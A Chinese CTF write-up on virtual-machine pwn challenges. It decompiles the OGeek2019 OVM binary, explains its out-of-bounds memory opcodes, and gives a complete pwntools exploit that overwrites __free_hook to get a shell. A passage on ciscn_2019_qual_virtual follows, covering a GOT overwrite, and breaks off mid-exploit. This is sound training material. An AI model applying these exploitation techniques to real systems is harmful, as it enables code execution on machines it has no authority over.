VM pwn

概述

VM pwn题目通常是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行

一般会有如下操作

  • 初始化模拟的寄存器空间(reg)
  • 初始化模拟的栈空间(stack)
  • 初始化模拟的data段(data)
  • 初始化模拟的opcode存储空间(text)

当用户输入指令后,该程序会根据自己设计的逻辑进行执行,这些空间全都是自己分配的而不是系统给的

一般的漏洞都是越界读取导致的,导致地址泄露,越界写入等

[OGeek2019 Final]OVM

checksec

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:~/桌面$ checksec ovm
[*] '/home/yyyffff/桌面/ovm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
unsigned int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &v5);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &v6);
getchar();
reg[13] = v6;
reg[15] = v5;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; v4 > i; ++i )
{
_isoc99_scanf("%d", &memory[v5 + i]);
if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 )
memory[i + v5] = 0xE0000000;
getchar();
}
while ( running )
{
v7 = fetch(); // 取出指令
execute(v7); // 执行指令
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment((void *)comment);
write(1, "Bye\n", 4uLL);
return 0;
}

分析一下程序运行逻辑

  • 首先输入PC,模拟指令寄存器运行
  • 接着输入SP,模拟栈顶寄存器运行
  • 然后输入CODE SIZE,也就是有多少条指令
  • 接着循环输入CODE:到memory里面
  • 接着循环fetch(取出指令)和execute(分析,执行)

fetch

1
2
3
4
5
6
7
8
__int64 fetch()
{
int v0; // eax

v0 = reg[15];
reg[15] = v0 + 1;
return (unsigned int)memory[v0];
}

excute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
ssize_t __fastcall execute(int a1)
{
ssize_t result; // rax
unsigned __int8 v2; // [rsp+18h] [rbp-8h]
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]
int i; // [rsp+1Ch] [rbp-4h]

v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;//指令的解析
result = HIBYTE(a1); // 操作码,高字节
if ( HIBYTE(a1) == 0x70 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] + reg[v3];
return result;
}
if ( HIBYTE(a1) > 0x70u )
{
if ( HIBYTE(a1) == 0xB0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] ^ reg[v3];
return result;
}
if ( HIBYTE(a1) > 0xB0u )
{
if ( HIBYTE(a1) == 0xD0 )
{
result = (ssize_t)reg;
reg[v4] = (int)reg[v3] >> reg[v2];
return result;
}
if ( HIBYTE(a1) > 0xD0u )
{
if ( HIBYTE(a1) == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL);
}
else if ( HIBYTE(a1) != 0xFF )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);// 打印
return write(1, "HALT\n", 5uLL);
}
else if ( HIBYTE(a1) == 0xC0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v3] << reg[v2];
}
}
else
{
switch ( HIBYTE(a1) )
{
case 0x90u:
result = (ssize_t)reg;
reg[v4] = reg[v2] & reg[v3];
break;
case 0xA0u:
result = (ssize_t)reg;
reg[v4] = reg[v2] | reg[v3];
break;
case 0x80u:
result = (ssize_t)reg;
reg[v4] = reg[v3] - reg[v2];
break;
}
}
}
else if ( HIBYTE(a1) == 0x30 )
{
result = (ssize_t)reg;
reg[v4] = memory[reg[v2]];
}
else if ( HIBYTE(a1) > 0x30u )
{
switch ( HIBYTE(a1) )
{
case 0x50u:
LODWORD(result) = reg[13]; // 保存栈顶
reg[13] = result + 1;
result = (int)result;
stack[(int)result] = reg[v4]; // 数据进栈
break;
case 0x60u:
--reg[13];
result = (ssize_t)reg;
reg[v4] = stack[reg[13]];
break;
case 0x40u:
result = (ssize_t)memory;
memory[reg[v2]] = reg[v4];
break;
}
}
else if ( HIBYTE(a1) == 0x10 )
{
result = (ssize_t)reg;
reg[v4] = (unsigned __int8)a1;
}
else if ( HIBYTE(a1) == 0x20 )
{
result = (ssize_t)reg;
reg[v4] = (_BYTE)a1 == 0;
}
return result;
}

这里就是指令的解析和执行

解析:

opcode格式

操作码 | 目标寄存器 (v4)| 操作数2寄存器 (v3)| 操作数1寄存器(v2)

比如0x70020100

翻译:

  • 0x70 加法
  • v4:2
  • v3:1
  • v2:0
  • 操作:reg[2]=reg[1]+reg[0]

然后底下一大段代码就是来执行解析后的代码,结果如下

操作码 操作
0x70 reg[v4] = reg[v2] + reg[v3]
0xB0 reg[v4] = reg[v2] ^ reg[v3]
0xD0 reg[v4] = reg[v3] >> reg[v2]
0xE0 if !sp 就exit
0xFF nop 打印寄存器
0xC0 reg[v4] = reg[v3] << reg[v2]
0x90 reg[v4] = reg[v2] & reg[v3]
0xA0 reg[v4] = reg[v2] | reg[v3]
0x80 reg[v4] = reg[v3] - reg[v2]
0x30 reg[v4] = memory[reg[v2]]
0x50(P) 进栈
0x60 出栈
0x40 memory[reg[v2]] = reg[v4]
0x10 reg[v4] = (unsigned __int8)a1(a1最低字节)
0x20 reg[v4] =((_BYTE)a1 == 0)

最后回到main函数有一个写入comment的操作还有sendcomment

1
2
3
4
void __fastcall sendcomment(void *a1)
{
free(a1);
}

一个free的操作,大致上后面就是改freehook为system然后参数就是comment,待会儿在comment处写/bin/sh即可

内存排布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
.got:0000000000201FF8 60 21 24 00 00 00 00 00       stderr_ptr dq offset stderr             ; DATA XREF: main+4D↑r
.got:0000000000201FF8 _got ends
.got:0000000000201FF8
.data:0000000000202000 ; ===========================================================================
.data:0000000000202000
.data:0000000000202000 ; Segment type: Pure data
.data:0000000000202000 ; Segment permissions: Read/Write
.data:0000000000202000 _data segment qword public 'DATA' use64
.data:0000000000202000 assume cs:_data
.data:0000000000202000 ;org 202000h
.data:0000000000202000 public __data_start ; weak
.data:0000000000202000 00 __data_start db 0 ; Alternative name is '__data_start'
.data:0000000000202000 ; data_start
.data:0000000000202001 00 db 0
.data:0000000000202002 00 db 0
.data:0000000000202003 00 db 0
.data:0000000000202004 00 db 0
.data:0000000000202005 00 db 0
.data:0000000000202006 00 db 0
.data:0000000000202007 00 db 0
.data:0000000000202008 public __dso_handle
.data:0000000000202008 ; void *_dso_handle
.data:0000000000202008 08 20 20 00 00 00 00 00 __dso_handle dq offset __dso_handle ; DATA XREF: __do_global_dtors_aux+17↑r
.data:0000000000202008 ; .data:__dso_handle↓o
.data:0000000000202008 _data ends
.data:0000000000202008
LOAD:0000000000202010 ; ===========================================================================
LOAD:0000000000202010
LOAD:0000000000202010 ; Segment type: Pure data
LOAD:0000000000202010 ; Segment permissions: Read/Write
LOAD:0000000000202010 LOAD segment byte public 'DATA' use64
LOAD:0000000000202010 assume cs:LOAD
LOAD:0000000000202010 ;org 202010h
LOAD:0000000000202010 public __bss_start
LOAD:0000000000202010 ?? __bss_start db ? ; ; DATA XREF: LOAD:00000000000004C0↑o
LOAD:0000000000202010 ; LOAD:00000000000004F0↑o
LOAD:0000000000202010 ; deregister_tm_clones↑o
LOAD:0000000000202010 ; register_tm_clones↑o
LOAD:0000000000202010 ; register_tm_clones+7↑o
LOAD:0000000000202010 ; Alternative name is '_edata'
LOAD:0000000000202010 ; __TMC_END__
LOAD:0000000000202010 ; _edata
LOAD:0000000000202010 ; __bss_start
LOAD:0000000000202010 ; _edata
LOAD:0000000000202011 ?? db ? ;
LOAD:0000000000202012 ?? db ? ;
LOAD:0000000000202013 ?? db ? ;
LOAD:0000000000202014 ?? db ? ;
LOAD:0000000000202015 ?? db ? ;
LOAD:0000000000202016 ?? db ? ;
LOAD:0000000000202017 ?? unk_202017 db ? ; ; DATA XREF: deregister_tm_clones+7↑o
LOAD:0000000000202018 ?? db ? ;
LOAD:0000000000202019 ?? db ? ;
LOAD:000000000020201A ?? db ? ;
LOAD:000000000020201B ?? db ? ;
LOAD:000000000020201C ?? db ? ;
LOAD:000000000020201D ?? db ? ;
LOAD:000000000020201E ?? db ? ;
LOAD:000000000020201F ?? db ? ;
LOAD:000000000020201F LOAD ends
LOAD:000000000020201F
.bss:0000000000202020 ; ===========================================================================
.bss:0000000000202020
.bss:0000000000202020 ; Segment type: Uninitialized
.bss:0000000000202020 ; Segment permissions: Read/Write
.bss:0000000000202020 _bss segment align_32 public 'BSS' use64
.bss:0000000000202020 assume cs:_bss
.bss:0000000000202020 ;org 202020h
.bss:0000000000202020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000202020 ?? completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0000000000202020 ; __do_global_dtors_aux+29↑w
.bss:0000000000202021 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:0000000000202040 public comment
.bss:0000000000202040 ?? comment db ? ; ; DATA XREF: main+15↑o
.bss:0000000000202040 ; main+27E↑o
.bss:0000000000202040 ; main+29A↑o
.bss:0000000000202041 ?? db ? ;
.bss:0000000000202042 ?? db ? ;
.bss:0000000000202043 ?? db ? ;
.bss:0000000000202044 ?? db ? ;
.bss:0000000000202045 ?? db ? ;
.bss:0000000000202046 ?? db ? ;
.bss:0000000000202047 ?? db ? ;
.bss:0000000000202048 ?? db ? ;
.bss:0000000000202049 ?? db ? ;
.bss:000000000020204A ?? db ? ;
.bss:000000000020204B ?? db ? ;
.bss:000000000020204C ?? db ? ;
.bss:000000000020204D ?? db ? ;
.bss:000000000020204E ?? db ? ;
.bss:000000000020204F ?? db ? ;
.bss:0000000000202050 ?? db ? ;
.bss:0000000000202051 ?? db ? ;
.bss:0000000000202052 ?? db ? ;
.bss:0000000000202053 ?? db ? ;
.bss:0000000000202054 ?? db ? ;
.bss:0000000000202055 ?? db ? ;
.bss:0000000000202056 ?? db ? ;
.bss:0000000000202057 ?? db ? ;
.bss:0000000000202058 ?? db ? ;
.bss:0000000000202059 ?? db ? ;
.bss:000000000020205A ?? db ? ;
.bss:000000000020205B ?? db ? ;
.bss:000000000020205C ?? db ? ;
.bss:000000000020205D ?? db ? ;
.bss:000000000020205E ?? db ? ;
.bss:000000000020205F ?? db ? ;
.bss:0000000000202060 public memory
.bss:0000000000202060 ; _DWORD memory[65536]
.bss:0000000000202060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+memory dd 10000h dup(?) ; DATA XREF: fetch+1B↑o

由于0x30,0x40对数组下标的解析不规范,我们可以用其来泄露地址和写入地址

首先泄露stderr,memory是dword类型的数组,一个单位4个字节,所以要到stderr就是(0x202060-0x201ff8)/4转换10进制就是26,所以memory[-26]是stderr低字节,memory[-25]是高字节

然后就是用这个地址搞到free_hook-8,至于偏移是多少,直接脚本里print(hex(libc.sym['__free\_hook']-libc.sym['stderr']))就可以了,然后这个偏移怎么构造,看底下的就好了

然后同样方法计算出comment和memory差距,发现memory[-8]是comment低字节,memory[-7]是高字节,写入即可

  1. 泄露stderr
  • reg[0]=26 r0=26
  • reg[1]=reg[1]-reg[0] r1=-26
  • reg[7]=memory[reg[1]] r7=stderr低字节
  • reg[0]=25 r0=25
  • reg[2]=reg[2]-reg[0] r2=-25
  • r[8]=memory[reg[2]] r8=stderr高字节
  1. 得到free_hook-8的地址,__free_hook比stderr大0x10a8,我们要得到freehook-8的大小,所以偏移是0x10a0,只要在低字节部分加上0x10a0即是freehook-8的地址
  • reg[0]=12 r0=12
  • reg[1]=1 r1=1
  • reg[2]=reg[1]<<reg[0] r2=1000
  • reg[3]=0xa0 r3=0xa0
  • reg[4]=reg[2]+reg[3] r4=0x10a0 偏移构造出来了
  • reg[6]=reg[4]+reg[7] r6为free_hook-8低字节
  1. 将得到的地址写到comment指针里面,分高低字节分别写入memory[-8]=r7,memory[-7]=r6,然后打印出寄存器,计算出free_hook-8,对应计算出libcbase然后system函数也可以得出
  • reg[0]=8
  • reg[1]=0
  • reg[1]=reg[1]-reg[0] r1=-8
  • memory[r[1]]=r[7] memory[-8]=r7
  • reg[0]=7
  • reg[1]=0
  • reg[1]=reg[1]-reg[0] r1=-7
  • memory[[r1]]=r[6] memory[-7]=r6
  • 0xff
  1. 由于comment被我们改成了free_hook-8,我们在最后输入comment的时候就输入b’/bin/sh\x00’+p64(system)即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
libc=ELF('./libc-2.23.so')
# r=process('./ovm')
r=remote("node5.buuoj.cn",27431)
def opcode(code,v4,v3,v2):
res=code<<24
res+=v4<<16
res+=v3<<8
res+=v2
return str(res)
r.sendlineafter("PC: ","0")
r.sendlineafter("SP: ","1")
r.sendlineafter("CODE SIZE: ","21")
r.recvuntil("CODE: ")
'''
0x70reg[v4] = reg[v2] + reg[v3]
0xB0reg[v4] = reg[v2] ^ reg[v3]
0xD0reg[v4] = reg[v3] >> reg[v2]
0xE0if !sp 就exit
0xFFnop
0xC0reg[v4] = reg[v3] << reg[v2]
0x90reg[v4] = reg[v2] & reg[v3]
0xA0reg[v4] = reg[v2] | reg[v3]
0x80reg[v4] = reg[v3] - reg[v2]
0x30reg[v4] = memory[reg[v2]]
0x50(P)进栈0x60出栈
0x40memory[reg[v2]] = reg[v4]
0x10reg[v4] = (unsigned __int8)a1(a1最低字节)
0x20reg[v4] =((_BYTE)a1 == 0)

'''
r.sendline(opcode(0x10,0,0,26))
r.sendline(opcode(0x80,1,1,0))
r.sendline(opcode(0x30,7,0,1))
r.sendline(opcode(0x10,0,0,25))
r.sendline(opcode(0x80,2,2,0))
r.sendline(opcode(0x30,8,0,2))

r.sendline(opcode(0x10,0,0,12))
r.sendline(opcode(0x10,1,0,1))
r.sendline(opcode(0xc0,2,1,0))
r.sendline(opcode(0x10,3,0,0xa0))
r.sendline(opcode(0x70,4,3,2))
r.sendline(opcode(0x70,6,4,7))

r.sendline(opcode(0x10,0,0,8))
r.sendline(opcode(0x10,1,0,0))
r.sendline(opcode(0x80,1,1,0))
r.sendline(opcode(0x40,6,0,1))
r.sendline(opcode(0x10,0,0,7))
r.sendline(opcode(0x10,1,0,0))
r.sendline(opcode(0x80,1,1,0))
r.sendline(opcode(0x40,8,0,1))
r.sendline(opcode(0xff,0,0,0))
# r6 low freehook-8
# r8 high freehook-8

r.recvuntil("R6: ")
low_addr=int(r.recvline().strip(),16)
print("low->",hex(low_addr))
r.recvuntil("R8: ")
high_addr=int(r.recvline().strip(),16)
print("high->",hex(high_addr))
free_hook=(high_addr<<32)+low_addr+8
print("free_hook->",hex(free_hook))
pause()
libcbase=free_hook-libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline(b'/bin/sh\x00'+p64(system_addr))
r.interactive()

ciscn_2019_qual_virtual

个人感觉难点在于将程序读懂,利用还是很好理解的

checksec

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:~/桌面$ checksec vm2
[*] '/home/yyyffff/桌面/vm2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *name; // [rsp+18h] [rbp-28h]
void **data; // [rsp+20h] [rbp-20h]
void **text; // [rsp+28h] [rbp-18h]
void **stack; // [rsp+30h] [rbp-10h]
char *ptr; // [rsp+38h] [rbp-8h]

init_0();
name = (char *)malloc(0x20uLL);
data = (void **)sub_4013B4(64);
text = (void **)sub_4013B4(128);
stack = (void **)sub_4013B4(64);
ptr = (char *)malloc(0x400uLL); // 类似于一个缓冲区?
puts("Your program name:");
input((__int64)name, 0x20u);
puts("Your instruction:");
input((__int64)ptr, 0x400u);
sub_40161D((__int64)text, ptr); // 指令解析
puts("Your stack data:");
input((__int64)ptr, 0x400u);
sub_40151A((__int64)data, ptr);
if ( (unsigned int)sub_401967((__int64)text, (__int64)data, (__int64)stack) )
{
puts("-------");
puts(name);
sub_4018CA((__int64)data); // print data
puts("-------");
}
else
{
puts("Your Program Crash :)");
}
free(ptr);
sub_401381(text);
sub_401381(data);
sub_401381(stack);
return 0LL;
}

可以看到开头是开辟了几个空间

具体开辟的函数:sub_4013B4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_DWORD *__fastcall sub_4013B4(int a1)
{
_DWORD *ptr; // [rsp+10h] [rbp-10h]
void *s; // [rsp+18h] [rbp-8h]

ptr = malloc(0x10uLL); // 用来控制堆块的
if ( !ptr )
return 0LL;
s = malloc(8LL * a1);
if ( s )
{
memset(s, 0, 8LL * a1);
*(_QWORD *)ptr = s; // 记录指针
ptr[2] = a1; // 记录大小
ptr[3] = -1;
return ptr;
}
else
{
free(ptr);
return 0LL;
}
}
  • 首先开辟了 0x10 的空间用来存放堆块信息
  • 然后 s = malloc(8LL * a1);才是数据的空间
  • 然后初始化,清空堆块,记录指针,大小以及用来索引的东西(初始值为 -1,代表此时该堆块空,不知道怎么描述,接下来就用 top 来描述这个)

如图为分配完的堆块

  • 然后将 ptr 返回给用户,图片中就是 0x4056a0

输入完 name 后输入的是指令 (instruction)

首先会输入到 ptr 指针里,ptr 类似于一个缓冲区,然后会对指令进行拆分并存储到 text 里:sub_40161D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void __fastcall sub_40161D(__int64 text, char *a2)
{
int v2; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
const char *s1; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]

if ( text )
{
ptr = malloc(8LL * *(int *)(text + 8));
v2 = 0;
for ( s1 = strtok(a2, delim); v2 < *(_DWORD *)(text + 8) && s1; s1 = strtok(0LL, delim) )// 分割输入的
//
{
if ( !strcmp(s1, "push") )
{
ptr[v2] = 17LL;
}
else if ( !strcmp(s1, "pop") )
{
ptr[v2] = 18LL;
}
else if ( !strcmp(s1, "add") )
{
ptr[v2] = 33LL;
}
else if ( !strcmp(s1, "sub") )
{
ptr[v2] = 34LL;
}
else if ( !strcmp(s1, "mul") )
{
ptr[v2] = 35LL;
}
else if ( !strcmp(s1, "div") )
{
ptr[v2] = 36LL;
}
else if ( !strcmp(s1, "load") )
{
ptr[v2] = 49LL;
}
else if ( !strcmp(s1, "save") )
{
ptr[v2] = 50LL;
}
else
{
ptr[v2] = 255LL;
}
++v2;
}
for ( i = v2 - 1; i >= 0 && (unsigned int)write_value(text, ptr[i]); --i )// 将临时的text里面的数据放到真正的text里
;
free(ptr);
}
}

stroke 是按照 delim 来拆分输入的,其中delim为\n\r\t就说明以换行回车tab作为分隔符,比如说我输入push push pop\n,他就可以将每个 push 或 pop 拆分出来存到 text 里

然后比对每个字符串,并赋值 ptr[v2] 为对应的操作码,存到 text 里,这里是逆序来存的,比如1 2 3 4 5存到里面就变成5 4 3 2 1。不过问题不大,因为后面取出数据也是从尾部取出的

然后是输入data里的数据:sub_40151A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall sub_40151A(__int64 a1, char *a2)
{
int v2; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
const char *nptr; // [rsp+20h] [rbp-20h]
_QWORD *ptr; // [rsp+28h] [rbp-18h]

if ( a1 )
{
ptr = malloc(8LL * *(int *)(a1 + 8));
v2 = 0;
for ( nptr = strtok(a2, delim); v2 < *(_DWORD *)(a1 + 8) && nptr; nptr = strtok(0LL, delim) )// 分割
ptr[v2++] = atol(nptr);
for ( i = v2 - 1; i >= 0 && (unsigned int)write_value(a1, ptr[i]); --i )// 逆序压进去 不过没关系,后面也是逆序来取
;
free(ptr);
}
}

其中方法跟解析指令那边差不多,不说了

接着来到操作:sub_401967

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall sub_401967(__int64 text, __int64 data, __int64 stack)
{
unsigned int v5; // [rsp+24h] [rbp-Ch]
__int64 v6; // [rsp+28h] [rbp-8h] BYREF 存放临时的指令

v5 = 1; // 像是一个标志
while ( v5 && (unsigned int)get_value(text, &v6) )
{
switch ( v6 )
{
case 17LL: // push
v5 = push(stack, data);
break;
case 18LL: // pop
v5 = pop(stack, data);
break;
case 33LL: // add 仅仅对stack上的数据
// 下面的sub mul div也是同样的操作
v5 = add(stack);
break;
case 34LL: // sub
v5 = sub(stack);
break;
case 35LL: // mul
v5 = mul(stack);
break;
case 36LL: // div
v5 = div(stack, data);
break;
case 49LL: // load 仅对stack 可以读取数据到stack
v5 = load(stack);
break;
case 50LL: // save
v5 = save(stack);
break;
default:
v5 = 0;
break;
}
}
return v5;
}

首先从 text 段里面取出指令:get_value

1
2
3
4
5
6
7
8
9
10
// 取出数据的函数
__int64 __fastcall sub_4014B4(__int64 a1, _QWORD *a2)
{
if ( !a1 )
return 0LL;
if ( *(_DWORD *)(a1 + 12) == -1 )
return 0LL;
*a2 = *(_QWORD *)(*(_QWORD *)a1 + 8LL * (int)(*(_DWORD *)(a1 + 12))--);
return 1LL;
}

将 a1 上的地址(也就是开始存放数据的地址)作基础,加上 top 索引的偏移

这里 a1+12 就是 top,最开始为-1的那个,每放入一个数据就 +1,所以是从尾部取出,跟逆序放入刚好对上了,每取出一个 top–

有 get_value 就有其对应的一个 write_value,用于将数据放入对应的空间之中

write_value:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_40144E(__int64 a1, __int64 a2)
{
int v3; // [rsp+1Ch] [rbp-4h]
// 该函数主要作用是将a2压入a1所代表的空间中
if ( !a1 )
return 0LL;
v3 = *(_DWORD *)(a1 + 12) + 1;
if ( v3 == *(_DWORD *)(a1 + 8) )
return 0LL;
*(_QWORD *)(*(_QWORD *)a1 + 8LL * v3) = a2;
*(_DWORD *)(a1 + 12) = v3; // 更新top
return 1LL;
}

将数据写到 a1 的地址之中,这次是正序的写,接着更新 top(top++) 并存到对应位置之中

下面来看具体的操作

push

1
2
3
4
5
6
_BOOL8 __fastcall sub_401AAC(__int64 a1, __int64 a2)
{
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

return (unsigned int)get_value(a2, &v3) && (unsigned int)write_value(a1, v3);
}

从 a2 里取出一个数据存到临时变量 a3 里,然后将 a3 写入 a1,这里的 a1,a2 分别是 stack 和 data ,top++

pop

1
2
3
4
5
6
_BOOL8 __fastcall sub_401AF8(__int64 a1, __int64 a2)
{
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

return (unsigned int)get_value(a1, &v3) && (unsigned int)write_value(a2, v3);
}

与 push 反过来,从 a1 取存进 a2,top–

add

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_401B44(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

if ( (unsigned int)get_value(a1, &v2) && (unsigned int)get_value(a1, &v3) )
return write_value(a1, v3 + v2);
else
return 0LL;
}

只接受 stack 一个参数,从其尾部取出两个数据相加再放进尾部 top 值–

sub

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_401BA5(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

if ( (unsigned int)get_value(a1, &v2) && (unsigned int)get_value(a1, &v3) )
return write_value(a1, v2 - v3); // 栈上第一个数据减去第二个
else
return 0LL;
}

减法,类似 add,top–

mul

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_401C06(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

if ( (unsigned int)get_value(a1, &v2) && (unsigned int)get_value(a1, &v3) )
return write_value(a1, v3 * v2);
else
return 0LL;
}

乘法,类似 add,top–

div

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall div(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

if ( (unsigned int)get_value(a1, &v2) && (unsigned int)get_value(a1, &v3) )
return write_value(a1, v2 / v3);
else
return 0LL;
}

除法,类似 add,top–

load

1
2
3
4
5
6
7
8
9
__int64 __fastcall sub_401CCE(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF

if ( (unsigned int)get_value(a1, &v2) ) // 从stack顶部取出的数作为偏移
return write_value(a1, *(_QWORD *)(*(_QWORD *)a1 + 8 * (*(int *)(a1 + 12) + v2)));// 将该偏移处的数写入栈顶
else
return 0LL;
}

仅支持一个参数:stack,作用是从 stack 尾部取出一个数作为偏移 (v2),接着将 top+v2 处的地址写入 stack 里,top 值不变

由于对偏移没有限制,我们可以取出任意地址的数据

save

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_401D37(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
__int64 v3; // [rsp+18h] [rbp-8h] BYREF

if ( !(unsigned int)get_value(a1, &v2) || !(unsigned int)get_value(a1, &v3) )// 从stack上取出两个数作为v2和v3
return 0LL;
*(_QWORD *)(8 * (*(int *)(a1 + 12) + v2) + *(_QWORD *)a1) = v3;// 以stack为底,将v3写到v2偏移处
return 1LL;
}

从 stack 尾部取出两个数,分别为 v2, v3,以 top+v2 作为偏移,将 v3 写入到该地址处,top-=2

由于对 v2 值没有限制,可以将 stack 上数据写入任意地址

利用

由于 got 表是 Partial RELRO,main 函数里还有一个 puts(name),我们可以将 name 输入成 /bin/sh\x00,然后将 puts 的 got 修改成 system,接下去调用的就是 system(“/bin/sh”) 了

  1. 首先需要将stack迁移到got表附近,具体操作是利用save函数将stack的指针修改到got表附近
1
2
3
4
5
6
7
8
9
10
11
12
13
0x404020 <puts@got.plt>:	0x0000000000401046	0x0000000000401056
0x404030 <printf@got.plt>: 0x0000000000401066 0x00007ffff7972970
0x404040 <alarm@got.plt>: 0x00007ffff78cc200 0x0000000000401096
0x404050 <strcmp@got.plt>: 0x00000000004010a6 0x00007ffff7884130
0x404060 <setvbuf@got.plt>: 0x00007ffff786fe70 0x00000000004010d6
0x404070 <strtok@got.plt>: 0x00000000004010e6 0x00000000004010f6
0x404080 <exit@got.plt>: 0x0000000000401106 0x0000000000000000
0x404090: 0x0000000000000000 0x0000000000402004
0x4040a0 <stdout>: 0x00007ffff7bc5620 0x0000000000000000
0x4040b0 <stdin>: 0x00007ffff7bc48e0 0x0000000000000000
0x4040c0 <stderr>: 0x00007ffff7bc5540 0x0000000000000000
0x4040d0: 0x0000000000000000 0x0000000000000000
0x4040e0: 0x0000000000000000 0x0000000000000000
  • 我们可以修改为0x4040d0
  • 具体
1
2
push push save
0x4040d0 -3
  • 两个 push 将 0x4040d0 和 -3 压入 stack 中,此时 top 值为1,索引为-3
  • 然后 save 两个 get_value 后top变为-1
  • 接着索引 -1+(-3)=-4 刚好就是记录 stack 指针的位置,就可以将 0x4040d0写进去

操作结束 top=-1

接着读取 puts_got 的值

1
2
push load
-21

